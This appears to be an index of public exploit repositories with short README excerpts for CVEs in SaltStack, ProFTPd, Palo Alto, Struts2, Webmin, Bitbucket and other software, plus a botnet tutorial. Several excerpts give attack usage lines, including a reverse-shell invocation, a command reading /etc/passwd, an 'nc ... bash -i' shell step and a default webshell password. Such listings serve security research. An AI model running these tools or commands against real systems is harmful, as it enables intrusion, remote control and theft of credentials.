SaltStack-Exp

SaltStack-Exp CVE-2020-11651&&CVE-2020-11652 EXP Exec-Master: python exp.py --exec-choose master --exec-cmd "whoami" Exec-Minions: python exp.py --exec-choose minions --exec-cmd "whoami" GetShell: python exp.py --shell-LHOST 8.8.8.8 --shell-LPORT 4444 ReadFile: python exp.py --read /etc/passwd...

CVE-2012-1823-exploit-for-https-user-password-web

CVE-2012-1823 file is exploit use : python3 CVE-2012-1823.py CVE-2012-1823,CVE-2021-2291.py file find out if the site is vulnurable for CVE-2012-1823 or CVE-2021-2291 use : python3 CVE-2012-1823,CVE-2021-2291.py command whoami cd ls tested on kali linux...

ProFTPd-1.3.5-mod_copy-Remote-Command-Execution

ProFTPd-1.3.5-modcopy-Remote-Command-Execution Script that exploits the vulnerability of the ProFTP 1.3.5 service with CVE-2015-3306 Usage .ProFTPD1.3.5RemoteCommandExecution.py -h --rhost RHOST --rportftp RPORTFTP --targeturi TARGETURI --tmppath TMPPATH --sitepath SITEPATH --payload PAYLOAD...

cve-2024-3400

cve-2024-3400 Python exploit and checker script for CVE-2024-3400 Palo Alto Command Injection and Arbitrary File Creation usage: cve-2024-3400.py -h exploit,check ... CVE-2024-3400 - Palo Alto OS Command Injection positional arguments: exploit,check Available modules exploit Exploit module of...

CVE-2024-53376

CVE-2024-53376 CyberPanel Authenticated OS Command Injection Affected Devices CyberPanel versions 2.3.8 are vulnerable to an OS command injection. To exploit the vulnerability the attacker is required to firstly login to the webpanel. Tested With CyberPanel 2.3.7 Technical details An attacker can...

ESLockDecryptor

ESLockDecryptor ESLockDecryptor is a command-line tool designed to recover and decrypt files encrypted by ES File Explorer files with the .eslock extension. It demonstrates the real-world impact of CWE-327 Use of a Broken or Risky Cryptographic Algorithm present in the ES File Explorer applicatio...

CVE-2025-34322_CVE-2025-34323_Nagios_Log_Server

CVE-2025-34322 and CVE-2025-34323 Nagios Log Server Proof of Concept exploits for CVE-2025-34322 and CVE-2025-34323 in Nagios Log Server, along with a combined script to return a shell as root. CVE-2025-34322 After auth, replace your session ID into these two curl commands. The first one set the...

KindaRails2Shell

KindaRails2Shell: CVE-2026-66066 A zero-dependency, single-file proof of concept and loopback-only Docker lab for the Rails Active Storage/libvips arbitrary-file-read vulnerability. It also demonstrates the advisory's conditional escalation from a recovered secretkeybase to a forged image variati...

Struts2-045-Exp

Struts2 S2-045 CVE-2017-5638 Exp Tools Exp Function: Command Execute Get Target Website's Physical Path File Upload Getshell Default Webshell For Chopper Support HTTP/HTTPS Support URL With Any Port Note: Default Webshell's Password is s2045@exp Notice The Project Is Intended For...

CVE-2019-2725

CVE-2019-2725 bypass tips coded in python3,payloadhere that payload only work in jdk6 exp usage: usage:exp.py 127.0.0.1:8080 whoami poc after edit the ip.txt,programe will check the ip in ip.txt,testing if the vulnerability exist or not :...

CVE-2019-5392-for-Python3

Python3 compatable version for CVE 2019-5392. You do not have to install python2.7. Run it on your terminal with python3 installed. USAGE: cve.py python3 cve.py 2810 "C:\Windows\Temp"...

CVE-2024-41997

Warp Terminal RCE CVE-2024-41997 Command injection via unsanitized warp:// URI scheme handler. Full writeup at 0day.gg. Summary Property| Value ---|--- CVE| CVE-2024-41997 Vulnerability| Command Injection CWE-77 Target| Warp Terminal macOS Affected| v0.2024.07.16.08.02 Impact| Arbitrary command...

POC-CVE-2026-18729

Description Proof of concept exploit code for CVE-2026-18729 Usage python3 poc.py -url -uname -pword -c Without bash command proof of code exec via Divide By Zero Error With bash command NOTE: Bash output isn't returned because the endpoint only returns the component template and metadata. The ba...

CVE-2019-15107

CVE-2019-15107 Webmin RCE Failed to change password : The current password is incorrectuid=0root gid=0root groups=0root python usage: python CVE201915107.py https://10.10.20.166:10000 cmd C:\Users\CTF\Desktoppython CVE201915107.py https://10.10.20.166:10000 id |\ /| ...

CVE-2020-5752

CVE-2020-5752: Druva inSync Local Privilege Escalation A C-based exploit for the Druva inSync Windows Client v6.6.3 and below. The application exposes an RPC service on port 6064 that is vulnerable to command injection via path traversal. This allows a local user to execute arbitrary commands as ...

sendmail-clamav-exploit-CVE-2007-4560

Sendmail + ClamAV-Milter Exploit CVE-2007-4560 Python RCE exploit for Sendmail with ClamAV-Milter After successful exploitation: nc 1001 bash -i Tested On Sendmail 8.13.4/8.13.4/Debian-3sarge3 ClamAV-Milter 0.91.2 References Original exploit: https://www.exploit-...

CVE-2022-36804-ReverseShell

Original Project https://github.com/BenHays142/CVE-2022-36804-PoC-Exploit CVE-2022-36804-PoC-Exploit A somewhat reliable PoC exploit for CVE-2022-36804 BitBucket Critical Command Injection. This attack generally requires public repos to be enabled, however session cookies are also compatible with...

mcp-pwn

CVE-2026-23744 — MCPJam Unauthenticated Remote Code Execution Summary MCPJam is an open-source MCP Model Context Protocol inspector and proxy used to connect, debug, and manage MCP servers. Versions = 1.4.3 Attack Vector| Network — No Authentication Required Disclosure| 2026-01-15 Technical...

botnet-hackpack

SIMPLE C&C BOTNET This hackpack will walk you through implementing a basic framework that fundamentally characterizes a botnet. It might help if you've worked with C before. If you liked this tutorial, be sure to star this repo! Note: Don't use anything you learn here for malevolent purposes. Thi...

CVE-2018-14667_Lab_POC

CVE-2018-14667-Lab LAB PREREQUISITES Demo App From : http://downloads.jboss.org/richfaces/releases/3.3.X/3.3.4.Final/richfaces-examples-3.3.4.Final.zip Jboss 5.1.0.GA from JBOSS download archive : https://repository.jboss.org/sourceforge/ Jdk-6u45-linux-x64 from JAVA archive :...